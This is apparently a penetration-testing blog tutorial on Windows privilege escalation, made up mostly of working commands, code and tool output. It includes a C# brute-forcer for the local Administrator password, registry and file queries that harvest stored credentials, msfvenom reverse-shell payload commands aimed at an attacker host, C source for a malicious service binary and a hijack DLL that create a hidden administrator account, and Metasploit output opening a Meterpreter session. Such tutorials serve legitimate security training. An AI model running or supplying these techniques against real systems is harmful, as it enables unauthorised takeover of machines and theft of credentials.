Windows Privilege Escalation

Privilege escalation is the act of exploiting security vulnerabilities, or system configuration mistakes to gain administrative access to computer system.

A number of privilege escalation techniques are covered in this article, including:


Basic Enumeration

The following commands are useful to gain some initial information about the system being targeted:

# System info
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type"

# List patches
wmic qfe

# List installed applications
wmic product get name,version

# Get disks
wmic logicaldisk get caption,description

# User enumeration
whoami /priv
whoami /groups
net users
net localgroup

# Network enumeration
ipconfig
route print
arp -a

# Finding passwords
findstr /si password *.txt *.ini *.config
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Services
sc query | findstr /B /C:"SERVICE_NAME" /C:"DISPLAY_NAME"

# Firewall Configuration
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config

Automated Enumeration

The following tools can be useful to speed up enumeration of common issues:

ToolNotesURL
PowerUpPowerShell script. Can exploit a number of conditions.https://github.com/PowerShellMafia/PowerSploit/
WinPEASThe binary version relies on the .NET framework, and as such may not run on older versions of Windows. A batch file version is also available.https://github.com/carlospolop/PEASS-ng/
JAWSPowerShell script. https://github.com/411Hall/JAWS

Local Administrator Account Brute Force

By default, the local administrator account cannot be locked out by incorrectly guessing it’s password. The below code attempts to brute force the local Administrator account using a password list:

using System;
using System.Collections.Generic;
using System.DirectoryServices.AccountManagement;
using System.IO;

namespace BruteForce
{
    internal class Program
    {
        static void Main(string[] args)
        {

            var passwordFile = File.ReadAllLines(@"C:\passwords.txt");
            var passwordList = new List<string>(passwordFile);

            PrincipalContext localAdministrator = new PrincipalContext(ContextType.Machine, null);

            int attemptCount = 0;
            foreach (var password in passwordList)
            {
                attemptCount++;
                bool PasswordValid = localAdministrator.ValidateCredentials("Administrator", password);

                if (PasswordValid == true)
                { Console.WriteLine(DateTime.Now.ToString("HH:mm:ss tt") + " attempt: " + 
                attemptCount.ToString() + " Password Correct: " + password);
                    Console.ReadKey();
                    break;
                }
                else { Console.WriteLine(DateTime.Now.ToString("HH:mm:ss tt") + " attempt: " + 
                attemptCount.ToString() + " Password Incorrect: " + password); }
            }


            Console.ReadKey();

        }
    }
}

Obviously, if any type of security monitoring is in place this will likely be detected. It can however be useful on isolated workgroup machines. Below shows the programs output:

20:23:10 PM attempt: 21556 Password Incorrect: isis
20:23:10 PM attempt: 21557 Password Incorrect: T7U9Hx
20:23:10 PM attempt: 21558 Password Incorrect: tito
20:23:10 PM attempt: 21559 Password Incorrect: polinka
20:23:10 PM attempt: 21560 Password Incorrect: m1ul9x9i20
20:23:11 PM attempt: 21561 Password Incorrect: signature
20:23:11 PM attempt: 21562 Password Incorrect: .ktymrf
20:23:11 PM attempt: 21563 Password Incorrect: 120788
20:23:11 PM attempt: 21564 Password Incorrect: graces
20:23:11 PM attempt: 21565 Password Incorrect: anisha
20:23:11 PM attempt: 21566 Password Incorrect: alizee
20:23:11 PM attempt: 21567 Password Incorrect: mother4
20:23:11 PM attempt: 21568 Password Incorrect: 5610405
20:23:11 PM attempt: 21569 Password Incorrect: m0nster
20:23:11 PM attempt: 21570 Password Incorrect: panpan
20:23:11 PM attempt: 21571 Password Incorrect: 686611
20:23:13 PM attempt: 21572 Password Correct: Password12

Operating System Vulnerabilities

Metasploit can be used to determine vulnerabilities based on missing operating system patches:

meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 40 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

Alternatively, if Metasploit is not an option WESNG an be used. Just run systeminfo on the target host and copy the output to a file called sysinfo.txt, then run WESNG against it.

git clone https://github.com/bitsadmin/wesng --depth 1

python3 wes.py --update

python3 wes.py sysinfo.txt               
Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
    - Name: Windows 10 Version 1511 for x64-based Systems
    - Generation: 10
    - Build: 10586
    - Version: 1511
    - Architecture: x64-based
    - Installed hotfixes (10): KB3150513, KB3161102, KB3172729, KB3173428, KB4021702, KB4022633, KB4033631, KB4035632, KB4051613, KB4041689
[+] Loading definitions
    - Creation date of definitions: 20220616
[+] Determining missing patches
[!] Found vulnerabilities!

Date: 20161213
CVE: CVE-2016-7295
KB: KB3205386
Title: Security Update for Common Log File System Driver
Affected product: Windows 10 Version 1511 for x64-based Systems
Affected component: 
Severity: Important
Impact: Information Disclosure
Exploit: n/a

Date: 20161213
CVE: CVE-2016-7258
KB: KB3205386
Title: Security Update for Windows Kernel
Affected product: Windows 10 Version 1511 for x64-based Systems
Affected component: 
Severity: Important
Impact: Information Disclosure
Exploit: n/a

WinLogon Saved Credentials

If a user account is automatically set to logon, it may be possible to extract their credentials from the registry:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT"\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ    
    LegalNoticeText    REG_SZ    
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    ShutdownWithoutLogon    REG_SZ    0
    WinStationsDisabled    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    scremoveoption    REG_SZ    0
    ShutdownFlags    REG_DWORD    0x11
    DefaultDomainName    REG_SZ    
    DefaultUserName    REG_SZ    Tom
    AutoAdminLogon    REG_SZ    1
    DefaultPassword    REG_SZ    Password1!


Unattend Files

Answer files, also known as “Unattend files” are used to configure Windows when it’s being installed.

They commonly reside in the following locations, and may contain local administrator credentials:

C:\Windows\Panther\unattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\unattend.xml

The file contents can be parsed using Metasploit to find credentials:

msf6 post(windows/gather/enum_unattend) > run

[*] Reading C:\Windows\panther\unattend.xml
Unattend Credentials
====================

 Type  Domain  Username  Password     Groups
 ----  ------  --------  --------     ------
 auto          Admin     password123

[*] Post module execution completed

Alternatively, the files can be manually parsed:

type C:\Windows\panther\unattend.xml
            <AutoLogon>
                <Password>
                    <Value>cGFzc3dvcmQxMjM=</Value>
                    <PlainText>false</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <Username>Admin</Username>
            </AutoLogon>

The password field is Base64 encoded:

echo cGFzc3dvcmQxMjM= | base64 -d
password123 

Stored User Credentials

The cmdkey command allows listing of stored credentials:

cmdkey /list

Currently stored credentials:
    Target: Domain:interactive=BORDERGATE\Administrator
                                                       Type: Domain Password
    User: BORDERGATE\Administrator

Using runas with the savecred command, we can execute code in the context of the cached credential:

runas /user:BORDERGATE\Administrator /savecred "C:\Users\user\shell-x64.exe"

Always Installed Elevated

The AlwaysInstallElevated setting allows users to run .MSI installer files on a system without requiring administrative permissions. The setting can be enumerated using the following reg query commands:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

The setting can be exploited by creating an MSFVenom MSI payload and running it on the host:

msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=6666 -f msi -o setup.msi

A Metasploit post module is also available to exploit this condition: exploit/windows/local/always_install_elevated


Insecure Autorun Permissions

Insecure Autoruns can be enumerated using Sysinternals autoruns. Alternatively, PowerUp can be used to identify these vulnerabilities:

powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Checking for modifidable registry autoruns and configsā€¦
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program
Path : "C:\Program Files\Autorun Program\program.exe"
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
\Autorun Program\program.exe; IdentityReference=Everyone}

Generating a Meterpreter payload with the same name and placing it in the location identified should work:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=666 -f exe -o program.exe

Insecure Service Executable Permissions

If you have access to overwrite a service binary, you can swap out the executable with a malicious payload.

The below code can be used for a malicious service executable:

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("cmd.exe /k net user localadmin Password1 /add");
    system("cmd.exe /k net localgroup administrators localadmin /add");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
 
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
 
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
                Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
                        ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
} 


Compile with:

x86_64-w64-mingw32-gcc windows_service.c -o service.exe

Insecure Service BinPath Permissions

If you have permissions to reconfigure a service, you may be able to get it to run a command of your choosing. This misconfiguration can be seen in PowerUp;

powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Checking service permissions...

ServiceName   : daclsvc
Path          : "C:\Program Files\DACL Service\daclservice.exe"
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'daclsvc'
CanRestart    : True

To exploit this condition, we can use the service control executable to change the binpath to any command we wish to execute:

C:\Users\user\Desktop\Tools\PowerUp>sc config svc1 binpath= "net user user1 Password1 /add"
[SC] ChangeServiceConfig SUCCESS

C:\Users\user\Desktop\Tools\PowerUp>sc start svc1
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

Although the service will report it was unable to start correctly, the command specified will run.


Unquoted Service Paths

If services names are not enclosed in quotes, and include spaces the operating system will traverse the filesystem looking for the appropriate executable. For instance, the following service as seen in PowerUp output is unquoted;

ServiceName    : unquotedsvc
Path           : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'unquotedsvc' -Path <HijackPath>
CanRestart     : True

Windows is unable to determine what parts of the path specified point to the executable, and what are arguments to be supplied to executable. So, in this examples the operating system is unable to determine “Common Files” is a directory, or if “Common.exe” should be called with the argument of “Files”.

If we can place a malicious executable in this path, and we are able to restart the service we may be able to elevate privileges.

Outputting a Meterpreter executable to C:\Program Files\Unquoted Path Service\common.exe and starting the service will result in code execution.

The Metasploit module exploit/windows/local/unquoted_service_path can also be used.


DLL Hijacking

If an application tries to load a DLL which is not in it’s current directory, Windows will search for the library.

We can use SysInternals ProcessExplorer to determine if an application is susceptible to DLL hijacking. Launch SysInternals ProcessMonitor and set a filter for result “NAME NOT FOUND”.

Next, add a filter for “.dll”

With the filter in place, you should be able to see if applications are attempting to load non existent DLL’s.

For privilege escalation, two conditions are required for this to work;

  • The application searching for a non-existent DLL must be running in a higher privilege level than the user we currently reside in.
  • We must be able to write to a folder within the DLL search path.

The following code can be used to create a malicious DLL:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net user localadmin Password1 /add");
        system("cmd.exe /k net localgroup administrators localadmin /add");
        ExitProcess(0);
    }
    return TRUE;
}

Compile with:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijack.dll

Juicy Potato Attacks

If SeImpersonate or SeAssignPrimaryToken are assigned, we can launch a JuicyPotato attack. These privileges are typically assigned to IIS and SQL Server service accounts.

Juicy Potato works on Windows 2016 and below.

Privileges can be checked using whoami:

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Metasploit can be used to retrieve the same information with the getprivs command:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

The attack can be launched using the ms16_075_reflection_juicy module:

msf6 exploit(windows/local/ms16_075_reflection_juicy) > run

[*] Started reverse TCP handler on 10.10.14.9:1111 
[+] Target appears to be vulnerable (Windows 10 (10.0 Build 10586).)
[*] Launching notepad to host the exploit...
[+] Process 2484 launched.
[*] Reflectively injecting the exploit DLL into 2484...
[*] Injecting exploit into 2484...
[*] Exploit injected. Injecting exploit configuration into 2484...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.63
[*] Meterpreter session 2 opened (10.10.14.9:1111 -> 10.10.10.63:49807 ) at 2022-06-25 11:07:39 +0100


Group Policy Preference Files

Prior to MS14-025 Group Policy Preference files could be used to deploy new local administrators to a system. The prefence files are encrypted using AES-256, but Microsoft accidentally published the key šŸ„³

The preference files are typically stored in the SYSVOL folder of a domain controller, but may be cached on an endpoint under C:\ProgramData\Microsoft\Group Policy\history:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml

Encrypted strings in the file can be decrypted using gpp-decrypt:

gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Local*P4ssword!

The Metasploit module post/windows/gather/credentials/gpp can also perform this task.


Final Thoughts

This post has covered a number of common privilege escalation techniques, but is by no means comprehensive.

Third party applications provide the largest source of privilege escalation opportunities so it’s always worth exploring additional applications installed, particularly if they are bespoke to the target organisation.